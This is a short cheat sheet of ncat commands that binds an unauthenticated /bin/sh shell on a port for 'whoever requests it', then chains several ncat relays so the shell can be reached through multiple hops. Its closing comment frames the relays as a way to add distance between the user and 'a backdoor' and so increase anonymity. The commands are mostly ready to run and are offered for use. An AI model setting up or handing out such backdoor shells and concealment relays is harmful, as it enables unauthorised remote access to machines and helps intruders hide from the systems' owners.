Netcat relay

relay

# Shove a shell at whoever requests it
ncat -l 0.0.0.0 8000 -e /bin/sh

# In a different terminal (or machine) set up a relay
ncat -l 0.0.0.0 8001 -c "ncat 0.0.0.0 8000"

# You can chain together as many relays as you'd like
ncat -l 0.0.0.0 8002 -c "ncat 0.0.0.0 8001"
ncat -l 0.0.0.0 8003 -c "ncat 0.0.0.0 8002"
ncat -l 0.0.0.0 8004 -c "ncat 0.0.0.0 8003"

# If you make a request to a relay, it will forward the shell to you
ncat 0.0.0.0 8004

# If this is set up between multiple machines, it can increase the
# number of hops between you and a backdoor, increasing your
# anonymity.